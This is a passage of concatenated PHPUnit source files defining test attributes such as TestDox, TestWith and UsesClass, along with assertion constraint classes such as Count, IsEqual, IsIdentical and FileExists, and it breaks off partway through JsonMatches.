@psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ #[Attribute(Attribute::TARGET_CLASS | Attribute::TARGET_METHOD)] final class TestDox { /** * @psalm-var non-empty-string */ private readonly string $text; /** * @psalm-param non-empty-string $text */ public function __construct(string $text) { $this->text = $text; } /** * @psalm-return non-empty-string */ public function text(): string { return $this->text; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Attributes; use Attribute; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ #[Attribute(Attribute::TARGET_METHOD | Attribute::IS_REPEATABLE)] final class TestWith { private readonly array $data; public function __construct(array $data) { $this->data = $data; } public function data(): array { return $this->data; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Attributes; use Attribute; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ #[Attribute(Attribute::TARGET_METHOD | Attribute::IS_REPEATABLE)] final class TestWithJson { /** * @psalm-var non-empty-string */ private readonly string $json; /** * @psalm-param non-empty-string $json */ public function __construct(string $json) { $this->json = $json; } /** * @psalm-return non-empty-string */ public function json(): string { return $this->json; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Attributes; use Attribute; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ #[Attribute(Attribute::TARGET_CLASS | Attribute::TARGET_METHOD | Attribute::IS_REPEATABLE)] final class Ticket { /** * @psalm-var non-empty-string */ private readonly string $text; /** * @psalm-param non-empty-string $text */ public function __construct(string $text) { $this->text = $text; } /** * @psalm-return non-empty-string */ public function text(): string { return $this->text; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Attributes; use Attribute; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ #[Attribute(Attribute::TARGET_CLASS | Attribute::IS_REPEATABLE)] final class UsesClass { /** * @psalm-var class-string */ private readonly string $className; /** * @psalm-param class-string $className */ public function __construct(string $className) { $this->className = $className; } /** * @psalm-return class-string */ public function className(): string { return $this->className; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Attributes; use Attribute; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ #[Attribute(Attribute::TARGET_CLASS | Attribute::IS_REPEATABLE)] final class UsesFunction { /** * @psalm-var non-empty-string */ private readonly string $functionName; /** * @psalm-param non-empty-string $functionName */ public function __construct(string $functionName) { $this->functionName = $functionName; } /** * @psalm-return non-empty-string */ public function functionName(): string { return $this->functionName; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Attributes; use Attribute; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ #[Attribute(Attribute::TARGET_METHOD)] final class WithoutErrorHandler { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class IsFalse extends Constraint { /** * Returns a string representation of the constraint. */ public function toString(): string { return 'is false'; } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. */ protected function matches(mixed $other): bool { return $other === false; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class IsTrue extends Constraint { /** * Returns a string representation of the constraint. */ public function toString(): string { return 'is true'; } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. */ protected function matches(mixed $other): bool { return $other === true; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use Closure; use ReflectionFunction; /** * @psalm-template CallbackInput of mixed * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class Callback extends Constraint { /** * @psalm-var callable(CallbackInput $input): bool */ private readonly mixed $callback; /** * @psalm-param callable(CallbackInput $input): bool $callback */ public function __construct(callable $callback) { $this->callback = $callback; } /** * Returns a string representation of the constraint. */ public function toString(): string { return 'is accepted by specified callback'; } /** * @psalm-suppress ArgumentTypeCoercion */ public function isVariadic(): bool { foreach ((new ReflectionFunction(Closure::fromCallable($this->callback)))->getParameters() as $parameter) { if ($parameter->isVariadic()) { return true; } } return false; } /** * Evaluates the constraint for parameter $value. Returns true if the * constraint is met, false otherwise. * * @psalm-param CallbackInput $other * * @psalm-suppress InvalidArgument */ protected function matches(mixed $other): bool { if ($this->isVariadic()) { return ($this->callback)(...$other); } return ($this->callback)($other); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function count; use function is_countable; use function iterator_count; use function sprintf; use EmptyIterator; use Generator; use Iterator; use IteratorAggregate; use PHPUnit\Framework\Exception; use PHPUnit\Framework\GeneratorNotSupportedException; use Traversable; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ class Count extends Constraint { private readonly int $expectedCount; public function __construct(int $expected) { $this->expectedCount = $expected; } public function toString(): string { return sprintf( 'count matches %d', $this->expectedCount, ); } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. * * @throws Exception */ protected function matches(mixed $other): bool { return $this->expectedCount === $this->getCountOf($other); } /** * @throws Exception */ protected function getCountOf(mixed $other): ?int { if (is_countable($other)) { return count($other); } if ($other instanceof EmptyIterator) { return 0; } if ($other instanceof Traversable) { while ($other instanceof IteratorAggregate) { try { $other = $other->getIterator(); } catch (\Exception $e) { throw new Exception( $e->getMessage(), $e->getCode(), $e, ); } } $iterator = $other; if ($iterator instanceof Generator) { throw new GeneratorNotSupportedException; } if (!$iterator instanceof Iterator) { return iterator_count($iterator); } $key = $iterator->key(); $count = iterator_count($iterator); // Manually rewind $iterator to previous key, since iterator_count // moves pointer. if ($key !== null) { $iterator->rewind(); while ($iterator->valid() && $key !== $iterator->key()) { $iterator->next(); } } return $count; } return null; } /** * Returns the description of the failure. * * The beginning of failure messages is "Failed asserting that" in most * cases. This method should return the second part of that sentence. * * @throws Exception */ protected function failureDescription(mixed $other): string { return sprintf( 'actual size %d matches expected size %d', (int) $this->getCountOf($other), $this->expectedCount, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use PHPUnit\Util\Exporter; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class GreaterThan extends Constraint { private readonly mixed $value; public function __construct(mixed $value) { $this->value = $value; } /** * Returns a string representation of the constraint. */ public function toString(bool $exportObjects = false): string { return 'is greater than ' . Exporter::export($this->value, $exportObjects); } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. */ protected function matches(mixed $other): bool { return $this->value < $other; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function count; use function gettype; use function sprintf; use function str_starts_with; use Countable; use EmptyIterator; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class IsEmpty extends Constraint { /** * Returns a string representation of the constraint. */ public function toString(): string { return 'is empty'; } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. */ protected function matches(mixed $other): bool { if ($other instanceof EmptyIterator) { return true; } if ($other instanceof Countable) { return count($other) === 0; } return empty($other); } /** * Returns the description of the failure. * * The beginning of failure messages is "Failed asserting that" in most * cases. This method should return the second part of that sentence. */ protected function failureDescription(mixed $other): string { $type = gettype($other); return sprintf( '%s %s %s', str_starts_with($type, 'a') || str_starts_with($type, 'o') ? 'an' : 'a', $type, $this->toString(true), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use PHPUnit\Util\Exporter; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class LessThan extends Constraint { private readonly mixed $value; public function __construct(mixed $value) { $this->value = $value; } /** * Returns a string representation of the constraint. */ public function toString(bool $exportObjects = false): string { return 'is less than ' . Exporter::export($this->value, $exportObjects); } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. */ protected function matches(mixed $other): bool { return $this->value > $other; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use Countable; use PHPUnit\Framework\Exception; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class SameSize extends Count { /** * @psalm-param Countable|iterable $expected * * @throws Exception */ public function __construct($expected) { parent::__construct((int) $this->getCountOf($expected)); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function gettype; use function sprintf; use function strtolower; use Countable; use PHPUnit\Framework\ExpectationFailedException; use PHPUnit\Framework\SelfDescribing; use PHPUnit\Util\Exporter; use SebastianBergmann\Comparator\ComparisonFailure; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ abstract class Constraint implements Countable, SelfDescribing { /** * Evaluates the constraint for parameter $other. * * If $returnResult is set to false (the default), an exception is thrown * in case of a failure. null is returned otherwise. * * If $returnResult is true, the result of the evaluation is returned as * a boolean value instead: true in case of success, false in case of a * failure. * * @throws ExpectationFailedException */ public function evaluate(mixed $other, string $description = '', bool $returnResult = false): ?bool { $success = false; if ($this->matches($other)) { $success = true; } if ($returnResult) { return $success; } if (!$success) { $this->fail($other, $description); } return null; } /** * Counts the number of constraint elements. */ public function count(): int { return 1; } /** * @deprecated */ protected function exporter(): \SebastianBergmann\Exporter\Exporter { return new \SebastianBergmann\Exporter\Exporter; } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. * * This method can be overridden to implement the evaluation algorithm. */ protected function matches(mixed $other): bool { return false; } /** * Throws an exception for the given compared value and test description. * * @throws ExpectationFailedException */ protected function fail(mixed $other, string $description, ?ComparisonFailure $comparisonFailure = null): never { $failureDescription = sprintf( 'Failed asserting that %s.', $this->failureDescription($other), ); $additionalFailureDescription = $this->additionalFailureDescription($other); if ($additionalFailureDescription) { $failureDescription .= "\n" . $additionalFailureDescription; } if (!empty($description)) { $failureDescription = $description . "\n" . $failureDescription; } throw new ExpectationFailedException( $failureDescription, $comparisonFailure, ); } /** * Return additional failure description where needed. * * The function can be overridden to provide additional failure * information like a diff */ protected function additionalFailureDescription(mixed $other): string { return ''; } /** * Returns the description of the failure. * * The beginning of failure messages is "Failed asserting that" in most * cases. This method should return the second part of that sentence. * * To provide additional failure information additionalFailureDescription * can be used. */ protected function failureDescription(mixed $other): string { return Exporter::export($other, true) . ' ' . $this->toString(true); } /** * Returns a custom string representation of the constraint object when it * appears in context of an $operator expression. * * The purpose of this method is to provide meaningful descriptive string * in context of operators such as LogicalNot. Native PHPUnit constraints * are supported out of the box by LogicalNot, but externally developed * ones had no way to provide correct strings in this context. * * The method shall return empty string, when it does not handle * customization by itself. */ protected function toStringInContext(Operator $operator, mixed $role): string { return ''; } /** * Returns the description of the failure when this constraint appears in * context of an $operator expression. * * The purpose of this method is to provide meaningful failure description * in context of operators such as LogicalNot. Native PHPUnit constraints * are supported out of the box by LogicalNot, but externally developed * ones had no way to provide correct messages in this context. * * The method shall return empty string, when it does not handle * customization by itself. */ protected function failureDescriptionInContext(Operator $operator, mixed $role, mixed $other): string { $string = $this->toStringInContext($operator, $role); if ($string === '') { return ''; } return Exporter::export($other, true) . ' ' . $string; } /** * Reduces the sub-expression starting at $this by skipping degenerate * sub-expression and returns first descendant constraint that starts * a non-reducible sub-expression. * * Returns $this for terminal constraints and for operators that start * non-reducible sub-expression, or the nearest descendant of $this that * starts a non-reducible sub-expression. * * A constraint expression may be modelled as a tree with non-terminal * nodes (operators) and terminal nodes. For example: * * LogicalOr (operator, non-terminal) * + LogicalAnd (operator, non-terminal) * | + IsType('int') (terminal) * | + GreaterThan(10) (terminal) * + LogicalNot (operator, non-terminal) * + IsType('array') (terminal) * * A degenerate sub-expression is a part of the tree, that effectively does * not contribute to the evaluation of the expression it appears in. An example * of degenerate sub-expression is a BinaryOperator constructed with single * operand or nested BinaryOperators, each with single operand. An * expression involving a degenerate sub-expression is equivalent to a * reduced expression with the degenerate sub-expression removed, for example * * LogicalAnd (operator) * + LogicalOr (degenerate operator) * | + LogicalAnd (degenerate operator) * | + IsType('int') (terminal) * + GreaterThan(10) (terminal) * * is equivalent to * * LogicalAnd (operator) * + IsType('int') (terminal) * + GreaterThan(10) (terminal) * * because the subexpression * * + LogicalOr * + LogicalAnd * + - * * is degenerate. Calling reduce() on the LogicalOr object above, as well * as on LogicalAnd, shall return the IsType('int') instance. * * Other specific reductions can be implemented, for example cascade of * LogicalNot operators * * + LogicalNot * + LogicalNot * +LogicalNot * + IsTrue * * can be reduced to * * LogicalNot * + IsTrue */ protected function reduce(): self { return $this; } /** * @psalm-return non-empty-string */ protected function valueToTypeStringFragment(mixed $value): string { $type = strtolower(gettype($value)); if ($type === 'double') { $type = 'float'; } if ($type === 'resource (closed)') { $type = 'closed resource'; } return match ($type) { 'array', 'integer', 'object' => 'an ' . $type . ' ', 'boolean', 'closed resource', 'float', 'resource', 'string' => 'a ' . $type . ' ', 'null' => 'null ', default => 'a value of ' . $type . ' ', }; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function is_string; use function sprintf; use function str_contains; use function trim; use PHPUnit\Framework\ExpectationFailedException; use PHPUnit\Util\Exporter; use SebastianBergmann\Comparator\ComparisonFailure; use SebastianBergmann\Comparator\Factory as ComparatorFactory; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class IsEqual extends Constraint { private readonly mixed $value; private readonly float $delta; private readonly bool $canonicalize; private readonly bool $ignoreCase; public function __construct(mixed $value, float $delta = 0.0, bool $canonicalize = false, bool $ignoreCase = false) { $this->value = $value; $this->delta = $delta; $this->canonicalize = $canonicalize; $this->ignoreCase = $ignoreCase; } /** * Evaluates the constraint for parameter $other. * * If $returnResult is set to false (the default), an exception is thrown * in case of a failure. null is returned otherwise. * * If $returnResult is true, the result of the evaluation is returned as * a boolean value instead: true in case of success, false in case of a * failure. * * @throws ExpectationFailedException */ public function evaluate(mixed $other, string $description = '', bool $returnResult = false): ?bool { // If $this->value and $other are identical, they are also equal. // This is the most common path and will allow us to skip // initialization of all the comparators. if ($this->value === $other) { return true; } $comparatorFactory = ComparatorFactory::getInstance(); try { $comparator = $comparatorFactory->getComparatorFor( $this->value, $other, ); $comparator->assertEquals( $this->value, $other, $this->delta, $this->canonicalize, $this->ignoreCase, ); } catch (ComparisonFailure $f) { if ($returnResult) { return false; } throw new ExpectationFailedException( trim($description . "\n" . $f->getMessage()), $f, ); } return true; } /** * Returns a string representation of the constraint. */ public function toString(bool $exportObjects = false): string { $delta = ''; if (is_string($this->value)) { if (str_contains($this->value, "\n")) { return 'is equal to '; } return sprintf( "is equal to '%s'", $this->value, ); } if ($this->delta != 0) { $delta = sprintf( ' with delta <%F>', $this->delta, ); } return sprintf( 'is equal to %s%s', Exporter::export($this->value, $exportObjects), $delta, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function is_string; use function sprintf; use function str_contains; use function trim; use PHPUnit\Framework\ExpectationFailedException; use PHPUnit\Util\Exporter; use SebastianBergmann\Comparator\ComparisonFailure; use SebastianBergmann\Comparator\Factory as ComparatorFactory; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class IsEqualCanonicalizing extends Constraint { private readonly mixed $value; public function __construct(mixed $value) { $this->value = $value; } /** * Evaluates the constraint for parameter $other. * * If $returnResult is set to false (the default), an exception is thrown * in case of a failure. null is returned otherwise. * * If $returnResult is true, the result of the evaluation is returned as * a boolean value instead: true in case of success, false in case of a * failure. * * @throws ExpectationFailedException */ public function evaluate(mixed $other, string $description = '', bool $returnResult = false): ?bool { // If $this->value and $other are identical, they are also equal. // This is the most common path and will allow us to skip // initialization of all the comparators. if ($this->value === $other) { return true; } $comparatorFactory = ComparatorFactory::getInstance(); try { $comparator = $comparatorFactory->getComparatorFor( $this->value, $other, ); $comparator->assertEquals( $this->value, $other, 0.0, true, ); } catch (ComparisonFailure $f) { if ($returnResult) { return false; } throw new ExpectationFailedException( trim($description . "\n" . $f->getMessage()), $f, ); } return true; } /** * Returns a string representation of the constraint. */ public function toString(bool $exportObjects = false): string { if (is_string($this->value)) { if (str_contains($this->value, "\n")) { return 'is equal to '; } return sprintf( "is equal to '%s'", $this->value, ); } return sprintf( 'is equal to %s', Exporter::export($this->value, $exportObjects), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function is_string; use function sprintf; use function str_contains; use function trim; use PHPUnit\Framework\ExpectationFailedException; use PHPUnit\Util\Exporter; use SebastianBergmann\Comparator\ComparisonFailure; use SebastianBergmann\Comparator\Factory as ComparatorFactory; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class IsEqualIgnoringCase extends Constraint { private readonly mixed $value; public function __construct(mixed $value) { $this->value = $value; } /** * Evaluates the constraint for parameter $other. * * If $returnResult is set to false (the default), an exception is thrown * in case of a failure. null is returned otherwise. * * If $returnResult is true, the result of the evaluation is returned as * a boolean value instead: true in case of success, false in case of a * failure. * * @throws ExpectationFailedException */ public function evaluate(mixed $other, string $description = '', bool $returnResult = false): ?bool { // If $this->value and $other are identical, they are also equal. // This is the most common path and will allow us to skip // initialization of all the comparators. if ($this->value === $other) { return true; } $comparatorFactory = ComparatorFactory::getInstance(); try { $comparator = $comparatorFactory->getComparatorFor( $this->value, $other, ); $comparator->assertEquals( $this->value, $other, 0.0, false, true, ); } catch (ComparisonFailure $f) { if ($returnResult) { return false; } throw new ExpectationFailedException( trim($description . "\n" . $f->getMessage()), $f, ); } return true; } /** * Returns a string representation of the constraint. */ public function toString(bool $exportObjects = false): string { if (is_string($this->value)) { if (str_contains($this->value, "\n")) { return 'is equal to '; } return sprintf( "is equal to '%s'", $this->value, ); } return sprintf( 'is equal to %s', Exporter::export($this->value, $exportObjects), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function sprintf; use function trim; use PHPUnit\Framework\ExpectationFailedException; use PHPUnit\Util\Exporter; use SebastianBergmann\Comparator\ComparisonFailure; use SebastianBergmann\Comparator\Factory as ComparatorFactory; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class IsEqualWithDelta extends Constraint { private readonly mixed $value; private readonly float $delta; public function __construct(mixed $value, float $delta) { $this->value = $value; $this->delta = $delta; } /** * Evaluates the constraint for parameter $other. * * If $returnResult is set to false (the default), an exception is thrown * in case of a failure. null is returned otherwise. * * If $returnResult is true, the result of the evaluation is returned as * a boolean value instead: true in case of success, false in case of a * failure. * * @throws ExpectationFailedException */ public function evaluate(mixed $other, string $description = '', bool $returnResult = false): ?bool { // If $this->value and $other are identical, they are also equal. // This is the most common path and will allow us to skip // initialization of all the comparators. if ($this->value === $other) { return true; } $comparatorFactory = ComparatorFactory::getInstance(); try { $comparator = $comparatorFactory->getComparatorFor( $this->value, $other, ); $comparator->assertEquals( $this->value, $other, $this->delta, ); } catch (ComparisonFailure $f) { if ($returnResult) { return false; } throw new ExpectationFailedException( trim($description . "\n" . $f->getMessage()), $f, ); } return true; } /** * Returns a string representation of the constraint. */ public function toString(bool $exportObjects = false): string { return sprintf( 'is equal to %s with delta <%F>', Exporter::export($this->value, $exportObjects), $this->delta, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function sprintf; use PHPUnit\Util\Filter; use Throwable; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Exception extends Constraint { private readonly string $className; public function __construct(string $className) { $this->className = $className; } /** * Returns a string representation of the constraint. */ public function toString(): string { return sprintf( 'exception of type "%s"', $this->className, ); } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. */ protected function matches(mixed $other): bool { return $other instanceof $this->className; } /** * Returns the description of the failure. * * The beginning of failure messages is "Failed asserting that" in most * cases. This method should return the second part of that sentence. * * @throws \PHPUnit\Framework\Exception */ protected function failureDescription(mixed $other): string { if ($other === null) { return sprintf( 'exception of type "%s" is thrown', $this->className, ); } $message = ''; if ($other instanceof Throwable) { $message = '. Message was: "' . $other->getMessage() . '" at' . "\n" . Filter::getFilteredStacktrace($other); } return sprintf( 'exception of type "%s" matches expected exception "%s"%s', $other::class, $this->className, $message, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function sprintf; use PHPUnit\Util\Exporter; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ExceptionCode extends Constraint { private readonly int|string $expectedCode; public function __construct(int|string $expected) { $this->expectedCode = $expected; } public function toString(): string { return 'exception code is ' . $this->expectedCode; } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. */ protected function matches(mixed $other): bool { return (string) $other === (string) $this->expectedCode; } /** * Returns the description of the failure. * * The beginning of failure messages is "Failed asserting that" in most * cases. This method should return the second part of that sentence. */ protected function failureDescription(mixed $other): string { return sprintf( '%s is equal to expected exception code %s', Exporter::export($other, true), Exporter::export($this->expectedCode, true), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function sprintf; use function str_contains; use PHPUnit\Util\Exporter; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ExceptionMessageIsOrContains extends Constraint { private readonly string $expectedMessage; public function __construct(string $expectedMessage) { $this->expectedMessage = $expectedMessage; } public function toString(): string { if ($this->expectedMessage === '') { return 'exception message is empty'; } return 'exception message contains ' . Exporter::export($this->expectedMessage); } protected function matches(mixed $other): bool { if ($this->expectedMessage === '') { return $other === ''; } return str_contains((string) $other, $this->expectedMessage); } /** * Returns the description of the failure. * * The beginning of failure messages is "Failed asserting that" in most * cases. This method should return the second part of that sentence. */ protected function failureDescription(mixed $other): string { if ($this->expectedMessage === '') { return sprintf( "exception message is empty but is '%s'", $other, ); } return sprintf( "exception message '%s' contains '%s'", $other, $this->expectedMessage, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function preg_match; use function sprintf; use Exception; use PHPUnit\Util\Exporter; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ExceptionMessageMatchesRegularExpression extends Constraint { private readonly string $regularExpression; public function __construct(string $regularExpression) { $this->regularExpression = $regularExpression; } public function toString(): string { return 'exception message matches ' . Exporter::export($this->regularExpression); } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. * * @throws \PHPUnit\Framework\Exception * @throws Exception */ protected function matches(mixed $other): bool { $match = @preg_match($this->regularExpression, (string) $other); if ($match === false) { throw new \PHPUnit\Framework\Exception( sprintf( 'Invalid expected exception message regular expression given: %s', $this->regularExpression, ), ); } return $match === 1; } /** * Returns the description of the failure. * * The beginning of failure messages is "Failed asserting that" in most * cases. This method should return the second part of that sentence. */ protected function failureDescription(mixed $other): string { return sprintf( "exception message '%s' matches '%s'", $other, $this->regularExpression, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function is_dir; use function sprintf; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class DirectoryExists extends Constraint { /** * Returns a string representation of the constraint. */ public function toString(): string { return 'directory exists'; } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. */ protected function matches(mixed $other): bool { return is_dir($other); } /** * Returns the description of the failure. * * The beginning of failure messages is "Failed asserting that" in most * cases. This method should return the second part of that sentence. */ protected function failureDescription(mixed $other): string { return sprintf( 'directory "%s" exists', $other, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function file_exists; use function sprintf; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class FileExists extends Constraint { /** * Returns a string representation of the constraint. */ public function toString(): string { return 'file exists'; } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. */ protected function matches(mixed $other): bool { return file_exists($other); } /** * Returns the description of the failure. * * The beginning of failure messages is "Failed asserting that" in most * cases. This method should return the second part of that sentence. */ protected function failureDescription(mixed $other): string { return sprintf( 'file "%s" exists', $other, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function is_readable; use function sprintf; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class IsReadable extends Constraint { /** * Returns a string representation of the constraint. */ public function toString(): string { return 'is readable'; } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. */ protected function matches(mixed $other): bool { return is_readable($other); } /** * Returns the description of the failure. * * The beginning of failure messages is "Failed asserting that" in most * cases. This method should return the second part of that sentence. */ protected function failureDescription(mixed $other): string { return sprintf( '"%s" is readable', $other, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function is_writable; use function sprintf; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class IsWritable extends Constraint { /** * Returns a string representation of the constraint. */ public function toString(): string { return 'is writable'; } /** * Evaluates the constraint for parameter $other. Returns true if the * constraint is met, false otherwise. */ protected function matches(mixed $other): bool { return is_writable($other); } /** * Returns the description of the failure. * * The beginning of failure messages is "Failed asserting that" in most * cases. This method should return the second part of that sentence. */ protected function failureDescription(mixed $other): string { return sprintf( '"%s" is writable', $other, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use PHPUnit\Framework\ExpectationFailedException; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class IsAnything extends Constraint { /** * Evaluates the constraint for parameter $other. * * If $returnResult is set to false (the default), an exception is thrown * in case of a failure. null is returned otherwise. * * If $returnResult is true, the result of the evaluation is returned as * a boolean value instead: true in case of success, false in case of a * failure. * * @throws ExpectationFailedException */ public function evaluate(mixed $other, string $description = '', bool $returnResult = false): ?bool { return $returnResult ? true : null; } /** * Returns a string representation of the constraint. */ public function toString(): string { return 'is anything'; } /** * Counts the number of constraint elements. */ public function count(): int { return 0; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function explode; use function gettype; use function is_array; use function is_object; use function is_string; use function sprintf; use PHPUnit\Framework\ExpectationFailedException; use PHPUnit\Util\Exporter; use SebastianBergmann\Comparator\ComparisonFailure; use UnitEnum; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class IsIdentical extends Constraint { private readonly mixed $value; public function __construct(mixed $value) { $this->value = $value; } /** * Evaluates the constraint for parameter $other. * * If $returnResult is set to false (the default), an exception is thrown * in case of a failure. null is returned otherwise. * * If $returnResult is true, the result of the evaluation is returned as * a boolean value instead: true in case of success, false in case of a * failure. * * @throws ExpectationFailedException */ public function evaluate(mixed $other, string $description = '', bool $returnResult = false): ?bool { $success = $this->value === $other; if ($returnResult) { return $success; } if (!$success) { $f = null; // if both values are strings, make sure a diff is generated if (is_string($this->value) && is_string($other)) { $f = new ComparisonFailure( $this->value, $other, sprintf("'%s'", $this->value), sprintf("'%s'", $other), ); } // if both values are array or enums, make sure a diff is generated if ((is_array($this->value) && is_array($other)) || ($this->value instanceof UnitEnum && $other instanceof UnitEnum)) { $f = new ComparisonFailure( $this->value, $other, Exporter::export($this->value, true), Exporter::export($other, true), ); } $this->fail($other, $description, $f); } return null; } /** * Returns a string representation of the constraint. */ public function toString(bool $exportObjects = false): string { if (is_object($this->value)) { return 'is identical to an object of class "' . $this->value::class . '"'; } return 'is identical to ' . Exporter::export($this->value, $exportObjects); } /** * Returns the description of the failure. * * The beginning of failure messages is "Failed asserting that" in most * cases. This method should return the second part of that sentence. */ protected function failureDescription(mixed $other): string { if (is_object($this->value) && is_object($other)) { return 'two variables reference the same object'; } if (explode(' ', gettype($this->value), 2)[0] === 'resource' && explode(' ', gettype($other), 2)[0] === 'resource') { return 'two variables reference the same resource'; } if (is_string($this->value) && is_string($other)) { return 'two strings are identical'; } if (is_array($this->value) && is_array($other)) { return 'two arrays are identical'; } return parent::failureDescription($other); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\Framework\Constraint; use function json_decode; use function sprintf; use PHPUnit\Framework\ExpectationFailedException; use PHPUnit\Util\InvalidJsonException; use PHPUnit\Util\Json; use SebastianBergmann\Comparator\ComparisonFailure; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit */ final class JsonMatches extends Constraint { private readonly string $value; public function __construct(string $value) { $this->value = $value; } /** * Returns a string representation of the object. */ public function toString(): string { return sprintf( 'matches JSON string "%s"', $this->value, ); } /** * Evaluates the 